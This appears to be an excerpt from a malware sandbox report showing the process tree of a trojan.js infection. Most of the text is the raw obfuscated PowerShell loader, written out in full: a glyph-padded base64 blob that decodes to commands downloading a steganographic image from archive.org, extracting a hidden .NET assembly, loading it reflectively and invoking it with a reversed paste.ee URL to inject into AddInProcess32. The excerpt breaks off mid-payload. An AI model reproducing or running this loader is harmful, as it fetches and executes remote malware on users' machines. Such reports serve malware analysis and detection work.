㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cs↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹LgBM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹YgBh↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹T↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBT↦ ☰ ䷸ ㈽ ⺹HU↦ ☰ ䷸ ㈽ ⺹YgBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹cgBp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Zw↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹QwBv↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBl↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBG↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹bwBt↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹YQBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Ng↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹By↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹bwBh↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBk↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹UgBl↦ ☰ ䷸ ㈽ ⺹GY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bg↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBM↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹QQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBi↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBP↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹S↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹Ec↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹E0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹JwBW↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹SQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBv↦ ☰ ䷸ ㈽ ⺹Gs↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹bgB1↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹WwBv↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹F0↦ ☰ ䷸ ㈽ ⺹XQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹bgBV↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹OgBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹QQBk↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹F↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹cgBv↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Mw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹L↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo.replace('↦ ☰ ䷸ ㈽ ⺹','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('0/yspnU/d/ee.etsap//:sptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado'))"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\trojan.js"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹VQBy↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹JwBo↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bw↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Og↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQBh↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹x↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹dQBz↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹cgBn↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹MQ↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBz↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bo↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹bwB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Xw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Mg↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Nw↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBh↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹agBw↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹dwBl↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹QwBs↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹LQBP↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBX↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹YgBD↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ 